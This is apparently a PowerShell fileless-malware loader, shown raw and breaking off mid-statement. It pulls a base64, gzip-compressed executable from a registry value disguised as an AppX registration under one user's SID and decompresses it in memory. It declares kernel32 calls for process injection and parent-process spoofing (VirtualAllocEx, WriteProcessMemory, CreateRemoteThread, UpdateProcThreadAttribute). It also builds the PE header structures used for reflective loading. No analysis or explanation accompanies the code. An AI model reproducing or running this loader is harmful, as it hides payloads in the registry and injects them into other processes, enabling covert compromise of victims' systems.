New-PSDrive HKU Registry HKEY_USERS $rk = "HKU:\S-1-5-21-3899523589-2416674273-2941457644-1104\Software\RegisteredApplications" $rv = "AppXs42fd12c3po92dynnq2r142fs12qhvsmyy" $p = (gp -Path $rk -Name $rv).$rv $CompBytes = [System.Convert]::FromBase64String($p) $input = New-Object System.IO.MemoryStream(,$CompBytes) $output = New-Object System.IO.MemoryStream $gzipStream = New-Object System.IO.Compression.GzipStream $input,([IO.Compression.CompressionMode]::Decompress) $gzipStream.CopyTo($output) $gzipStream.Close() $input.Close() [byte[]] $PEBytes = $output.ToArray() Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFOEX { public STARTUPINFO StartupInfo; public IntPtr lpAttributeList; } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public int nLength; public IntPtr lpSecurityDescriptor; public int bInheritHandle; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000, Decommit = 0x4000, Release = 0x8000, Reset = 0x80000, Physical = 0x400000, TopDown = 0x100000, WriteWatch = 0x200000, LargePages = 0x20000000 } [Flags] public enum MemoryProtection { Execute = 0x10, ExecuteRead = 0x20, ExecuteReadWrite = 0x40, ExecuteWriteCopy = 0x80, NoAccess = 0x01, ReadOnly = 0x02, ReadWrite = 0x04, WriteCopy = 0x08, GuardModifierflag = 0x100, NoCacheModifierflag = 0x200, WriteCombineModifierflag = 0x400 } public static class Kernel32{ [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess( UInt32 processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll", SetLastError=true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool InitializeProcThreadAttributeList( IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); [DllImport("kernel32.dll", SetLastError=true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool UpdateProcThreadAttribute( IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr GetProcessHeap(); [DllImport("kernel32.dll", SetLastError=false)] public static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, UIntPtr dwBytes); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CreateProcess( string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CloseHandle(IntPtr hHandle); [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)] public static extern IntPtr VirtualAllocEx( IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, AllocationType flAllocationType, MemoryProtection flProtect); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern bool VirtualProtectEx( IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread( IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] public static extern bool ProcessIdToSessionId(uint dwProcessId, out uint pSessionId); [DllImport("kernel32.dll")] public static extern uint GetCurrentProcessId(); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList); [DllImport("kernel32.dll")] public static extern uint GetLastError(); [DllImport("kernel32.dll", CharSet=CharSet.Ansi)] public static extern IntPtr GetProcAddress( IntPtr hModule, string procName); [DllImport("kernel32.dll", CharSet=CharSet.Auto)] public static extern IntPtr GetModuleHandle( string lpModuleName); } "@ Function Get-Win32Types { $Win32Types = New-Object System.Object $Domain = [AppDomain]::CurrentDomain $DynamicAssembly = New-Object System.Reflection.AssemblyName("DynamicAssembly") $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("DynamicModule", $false) $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] $TypeBuilder = $ModuleBuilder.DefineEnum("MachineType", "Public", [UInt16]) $TypeBuilder.DefineLiteral("Native", [UInt16] 0) | Out-Null $TypeBuilder.DefineLiteral("I386", [UInt16] 0x014c) | Out-Null $TypeBuilder.DefineLiteral("Itanium", [UInt16] 0x0200) | Out-Null $TypeBuilder.DefineLiteral("x64", [UInt16] 0x8664) | Out-Null $MachineType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType $TypeBuilder = $ModuleBuilder.DefineEnum("MagicType", "Public", [UInt16]) $TypeBuilder.DefineLiteral("IMAGE_NT_OPTIONAL_HDR32_MAGIC", [UInt16] 0x10b) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_NT_OPTIONAL_HDR64_MAGIC", [UInt16] 0x20b) | Out-Null $MagicType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType $TypeBuilder = $ModuleBuilder.DefineEnum("SubSystemType", "Public", [UInt16]) $TypeBuilder.DefineLiteral("IMAGE_SUBSYSTEM_UNKNOWN", [UInt16] 0) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_SUBSYSTEM_NATIVE", [UInt16] 1) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_SUBSYSTEM_WINDOWS_GUI", [UInt16] 2) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_SUBSYSTEM_WINDOWS_CUI", [UInt16] 3) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_SUBSYSTEM_POSIX_CUI", [UInt16] 7) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_SUBSYSTEM_WINDOWS_CE_GUI", [UInt16] 9) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_SUBSYSTEM_EFI_APPLICATION", [UInt16] 10) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER", [UInt16] 11) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER", [UInt16] 12) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_SUBSYSTEM_EFI_ROM", [UInt16] 13) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_SUBSYSTEM_XBOX", [UInt16] 14) | Out-Null $SubSystemType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType $TypeBuilder = $ModuleBuilder.DefineEnum("DllCharacteristicsType", "Public", [UInt16]) $TypeBuilder.DefineLiteral("RES_0", [UInt16] 0x0001) | Out-Null $TypeBuilder.DefineLiteral("RES_1", [UInt16] 0x0002) | Out-Null $TypeBuilder.DefineLiteral("RES_2", [UInt16] 0x0004) | Out-Null $TypeBuilder.DefineLiteral("RES_3", [UInt16] 0x0008) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE", [UInt16] 0x0040) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY", [UInt16] 0x0080) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_DLL_CHARACTERISTICS_NX_COMPAT", [UInt16] 0x0100) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_DLLCHARACTERISTICS_NO_ISOLATION", [UInt16] 0x0200) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_DLLCHARACTERISTICS_NO_SEH", [UInt16] 0x0400) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_DLLCHARACTERISTICS_NO_BIND", [UInt16] 0x0800) | Out-Null $TypeBuilder.DefineLiteral("RES_4", [UInt16] 0x1000) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_DLLCHARACTERISTICS_WDM_DRIVER", [UInt16] 0x2000) | Out-Null $TypeBuilder.DefineLiteral("IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE", [UInt16] 0x8000) | Out-Null $DllCharacteristicsType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType $Attributes = "AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("IMAGE_DATA_DIRECTORY", $Attributes, [System.ValueType], 8) ($TypeBuilder.DefineField("VirtualAddress", [UInt32], "Public")).SetOffset(0) | Out-Null ($TypeBuilder.DefineField("Size", [UInt32], "Public")).SetOffset(4) | Out-Null $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY $Attributes = "AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("IMAGE_FILE_HEADER", $Attributes, [System.ValueType], 20) $TypeBuilder.DefineField("Machine", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("NumberOfSections", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("TimeDateStamp", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("PointerToSymbolTable", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("NumberOfSymbols", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("SizeOfOptionalHeader", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("Characteristics", [UInt16], "Public") | Out-Null $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER $Attributes = "AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("IMAGE_OPTIONAL_HEADER64", $Attributes, [System.ValueType], 240) ($TypeBuilder.DefineField("Magic", $MagicType, "Public")).SetOffset(0) | Out-Null ($TypeBuilder.DefineField("MajorLinkerVersion", [Byte], "Public")).SetOffset(2) | Out-Null ($TypeBuilder.DefineField("MinorLinkerVersion", [Byte], "Public")).SetOffset(3) | Out-Null ($TypeBuilder.DefineField("SizeOfCode", [UInt32], "Public")).SetOffset(4) | Out-Null ($TypeBuilder.DefineField("SizeOfInitializedData", [UInt32], "Public")).SetOffset(8) | Out-Null ($TypeBuilder.DefineField("SizeOfUninitializedData", [UInt32], "Public")).SetOffset(12) | Out-Null ($TypeBuilder.DefineField("AddressOfEntryPoint", [UInt32], "Public")).SetOffset(16) | Out-Null ($TypeBuilder.DefineField("BaseOfCode", [UInt32], "Public")).SetOffset(20) | Out-Null ($TypeBuilder.DefineField("ImageBase", [UInt64], "Public")).SetOffset(24) | Out-Null ($TypeBuilder.DefineField("SectionAlignment", [UInt32], "Public")).SetOffset(32) | Out-Null ($TypeBuilder.DefineField("FileAlignment", [UInt32], "Public")).SetOffset(36) | Out-Null ($TypeBuilder.DefineField("MajorOperatingSystemVersion", [UInt16], "Public")).SetOffset(40) | Out-Null ($TypeBuilder.DefineField("MinorOperatingSystemVersion", [UInt16], "Public")).SetOffset(42) | Out-Null ($TypeBuilder.DefineField("MajorImageVersion", [UInt16], "Public")).SetOffset(44) | Out-Null ($TypeBuilder.DefineField("MinorImageVersion", [UInt16], "Public")).SetOffset(46) | Out-Null ($TypeBuilder.DefineField("MajorSubsystemVersion", [UInt16], "Public")).SetOffset(48) | Out-Null ($TypeBuilder.DefineField("MinorSubsystemVersion", [UInt16], "Public")).SetOffset(50) | Out-Null ($TypeBuilder.DefineField("Win32VersionValue", [UInt32], "Public")).SetOffset(52) | Out-Null ($TypeBuilder.DefineField("SizeOfImage", [UInt32], "Public")).SetOffset(56) | Out-Null ($TypeBuilder.DefineField("SizeOfHeaders", [UInt32], "Public")).SetOffset(60) | Out-Null ($TypeBuilder.DefineField("CheckSum", [UInt32], "Public")).SetOffset(64) | Out-Null ($TypeBuilder.DefineField("Subsystem", $SubSystemType, "Public")).SetOffset(68) | Out-Null ($TypeBuilder.DefineField("DllCharacteristics", $DllCharacteristicsType, "Public")).SetOffset(70) | Out-Null ($TypeBuilder.DefineField("SizeOfStackReserve", [UInt64], "Public")).SetOffset(72) | Out-Null ($TypeBuilder.DefineField("SizeOfStackCommit", [UInt64], "Public")).SetOffset(80) | Out-Null ($TypeBuilder.DefineField("SizeOfHeapReserve", [UInt64], "Public")).SetOffset(88) | Out-Null ($TypeBuilder.DefineField("SizeOfHeapCommit", [UInt64], "Public")).SetOffset(96) | Out-Null ($TypeBuilder.DefineField("LoaderFlags", [UInt32], "Public")).SetOffset(104) | Out-Null ($TypeBuilder.DefineField("NumberOfRvaAndSizes", [UInt32], "Public")).SetOffset(108) | Out-Null ($TypeBuilder.DefineField("ExportTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(112) | Out-Null ($TypeBuilder.DefineField("ImportTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(120) | Out-Null ($TypeBuilder.DefineField("ResourceTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(128) | Out-Null ($TypeBuilder.DefineField("ExceptionTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(136) | Out-Null ($TypeBuilder.DefineField("CertificateTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(144) | Out-Null ($TypeBuilder.DefineField("BaseRelocationTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(152) | Out-Null ($TypeBuilder.DefineField("Debug", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(160) | Out-Null ($TypeBuilder.DefineField("Architecture", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(168) | Out-Null ($TypeBuilder.DefineField("GlobalPtr", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(176) | Out-Null ($TypeBuilder.DefineField("TLSTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(184) | Out-Null ($TypeBuilder.DefineField("LoadConfigTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(192) | Out-Null ($TypeBuilder.DefineField("BoundImport", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(200) | Out-Null ($TypeBuilder.DefineField("IAT", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(208) | Out-Null ($TypeBuilder.DefineField("DelayImportDescriptor", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(216) | Out-Null ($TypeBuilder.DefineField("CLRRuntimeHeader", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(224) | Out-Null ($TypeBuilder.DefineField("Reserved", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(232) | Out-Null $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 $Attributes = "AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("IMAGE_OPTIONAL_HEADER32", $Attributes, [System.ValueType], 224) ($TypeBuilder.DefineField("Magic", $MagicType, "Public")).SetOffset(0) | Out-Null ($TypeBuilder.DefineField("MajorLinkerVersion", [Byte], "Public")).SetOffset(2) | Out-Null ($TypeBuilder.DefineField("MinorLinkerVersion", [Byte], "Public")).SetOffset(3) | Out-Null ($TypeBuilder.DefineField("SizeOfCode", [UInt32], "Public")).SetOffset(4) | Out-Null ($TypeBuilder.DefineField("SizeOfInitializedData", [UInt32], "Public")).SetOffset(8) | Out-Null ($TypeBuilder.DefineField("SizeOfUninitializedData", [UInt32], "Public")).SetOffset(12) | Out-Null ($TypeBuilder.DefineField("AddressOfEntryPoint", [UInt32], "Public")).SetOffset(16) | Out-Null ($TypeBuilder.DefineField("BaseOfCode", [UInt32], "Public")).SetOffset(20) | Out-Null ($TypeBuilder.DefineField("BaseOfData", [UInt32], "Public")).SetOffset(24) | Out-Null ($TypeBuilder.DefineField("ImageBase", [UInt32], "Public")).SetOffset(28) | Out-Null ($TypeBuilder.DefineField("SectionAlignment", [UInt32], "Public")).SetOffset(32) | Out-Null ($TypeBuilder.DefineField("FileAlignment", [UInt32], "Public")).SetOffset(36) | Out-Null ($TypeBuilder.DefineField("MajorOperatingSystemVersion", [UInt16], "Public")).SetOffset(40) | Out-Null ($TypeBuilder.DefineField("MinorOperatingSystemVersion", [UInt16], "Public")).SetOffset(42) | Out-Null ($TypeBuilder.DefineField("MajorImageVersion", [UInt16], "Public")).SetOffset(44) | Out-Null ($TypeBuilder.DefineField("MinorImageVersion", [UInt16], "Public")).SetOffset(46) | Out-Null ($TypeBuilder.DefineField("MajorSubsystemVersion", [UInt16], "Public")).SetOffset(48) | Out-Null ($TypeBuilder.DefineField("MinorSubsystemVersion", [UInt16], "Public")).SetOffset(50) | Out-Null ($TypeBuilder.DefineField("Win32VersionValue", [UInt32], "Public")).SetOffset(52) | Out-Null ($TypeBuilder.DefineField("SizeOfImage", [UInt32], "Public")).SetOffset(56) | Out-Null ($TypeBuilder.DefineField("SizeOfHeaders", [UInt32], "Public")).SetOffset(60) | Out-Null ($TypeBuilder.DefineField("CheckSum", [UInt32], "Public")).SetOffset(64) | Out-Null ($TypeBuilder.DefineField("Subsystem", $SubSystemType, "Public")).SetOffset(68) | Out-Null ($TypeBuilder.DefineField("DllCharacteristics", $DllCharacteristicsType, "Public")).SetOffset(70) | Out-Null ($TypeBuilder.DefineField("SizeOfStackReserve", [UInt32], "Public")).SetOffset(72) | Out-Null ($TypeBuilder.DefineField("SizeOfStackCommit", [UInt32], "Public")).SetOffset(76) | Out-Null ($TypeBuilder.DefineField("SizeOfHeapReserve", [UInt32], "Public")).SetOffset(80) | Out-Null ($TypeBuilder.DefineField("SizeOfHeapCommit", [UInt32], "Public")).SetOffset(84) | Out-Null ($TypeBuilder.DefineField("LoaderFlags", [UInt32], "Public")).SetOffset(88) | Out-Null ($TypeBuilder.DefineField("NumberOfRvaAndSizes", [UInt32], "Public")).SetOffset(92) | Out-Null ($TypeBuilder.DefineField("ExportTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(96) | Out-Null ($TypeBuilder.DefineField("ImportTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(104) | Out-Null ($TypeBuilder.DefineField("ResourceTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(112) | Out-Null ($TypeBuilder.DefineField("ExceptionTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(120) | Out-Null ($TypeBuilder.DefineField("CertificateTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(128) | Out-Null ($TypeBuilder.DefineField("BaseRelocationTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(136) | Out-Null ($TypeBuilder.DefineField("Debug", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(144) | Out-Null ($TypeBuilder.DefineField("Architecture", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(152) | Out-Null ($TypeBuilder.DefineField("GlobalPtr", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(160) | Out-Null ($TypeBuilder.DefineField("TLSTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(168) | Out-Null ($TypeBuilder.DefineField("LoadConfigTable", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(176) | Out-Null ($TypeBuilder.DefineField("BoundImport", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(184) | Out-Null ($TypeBuilder.DefineField("IAT", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(192) | Out-Null ($TypeBuilder.DefineField("DelayImportDescriptor", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(200) | Out-Null ($TypeBuilder.DefineField("CLRRuntimeHeader", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(208) | Out-Null ($TypeBuilder.DefineField("Reserved", $IMAGE_DATA_DIRECTORY, "Public")).SetOffset(216) | Out-Null $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 $Attributes = "AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("IMAGE_NT_HEADERS64", $Attributes, [System.ValueType], 264) $TypeBuilder.DefineField("Signature", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("FileHeader", $IMAGE_FILE_HEADER, "Public") | Out-Null $TypeBuilder.DefineField("OptionalHeader", $IMAGE_OPTIONAL_HEADER64, "Public") | Out-Null $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 $Attributes = "AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("IMAGE_NT_HEADERS32", $Attributes, [System.ValueType], 248) $TypeBuilder.DefineField("Signature", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("FileHeader", $IMAGE_FILE_HEADER, "Public") | Out-Null $TypeBuilder.DefineField("OptionalHeader", $IMAGE_OPTIONAL_HEADER32, "Public") | Out-Null $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 $Attributes = "AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("IMAGE_DOS_HEADER", $Attributes, [System.ValueType], 64) $TypeBuilder.DefineField("e_magic", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_cblp", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_cp", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_crlc", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_cparhdr", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_minalloc", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_maxalloc", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_ss", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_sp", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_csum", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_ip", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_cs", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_lfarlc", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_ovno", [UInt16], "Public") | Out-Null $e_resField = $TypeBuilder.DefineField("e_res", [UInt16[]], "Public, HasFieldMarshal") $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField("SizeConst")) $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) $e_resField.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField("e_oemid", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("e_oeminfo", [UInt16], "Public") | Out-Null $e_res2Field = $TypeBuilder.DefineField("e_res2", [UInt16[]], "Public, HasFieldMarshal") $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) $e_res2Field.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField("e_lfanew", [Int32], "Public") | Out-Null $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER $Attributes = "AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("IMAGE_SECTION_HEADER", $Attributes, [System.ValueType], 40) $nameField = $TypeBuilder.DefineField("Name", [Char[]], "Public, HasFieldMarshal") $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) $nameField.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField("VirtualSize", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("VirtualAddress", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("SizeOfRawData", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("PointerToRawData", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("PointerToRelocations", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("PointerToLinenumbers", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("NumberOfRelocations", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("NumberOfLinenumbers", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("Characteristics", [UInt32], "Public") | Out-Null $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER $Attributes = "AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("IMAGE_BASE_RELOCATION", $Attributes, [System.ValueType], 8) $TypeBuilder.DefineField("VirtualAddress", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("SizeOfBlock", [UInt32], "Public") | Out-Null $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION $Attributes = "AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("IMAGE_IMPORT_DESCRIPTOR", $Attributes, [System.ValueType], 20) $TypeBuilder.DefineField("Characteristics", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("TimeDateStamp", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("ForwarderChain", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("Name", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("FirstThunk", [UInt32], "Public") | Out-Null $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR $Attributes = "AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("IMAGE_EXPORT_DIRECTORY", $Attributes, [System.ValueType], 40) $TypeBuilder.DefineField("Characteristics", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("TimeDateStamp", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("MajorVersion", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("MinorVersion", [UInt16], "Public") | Out-Null $TypeBuilder.DefineField("Name", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("Base", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("NumberOfFunctions", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("NumberOfNames", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("AddressOfFunctions", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("AddressOfNames", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("AddressOfNameOrdinals", [UInt32], "Public") | Out-Null $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY $Attributes = "AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit" $TypeBuilder = $ModuleBuilder.DefineType("LUID", $Attributes, [System.ValueType], 8) $TypeBuilder.DefineField("LowPart", [UInt32], "Public") | Out-Null $TypeBuilder.DefineField("HighPart", [UInt32], "Public") | Out-Null $LUID = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID $Attributes = "AutoLayout, AnsiClass, Class, Public, SequentialLayout, 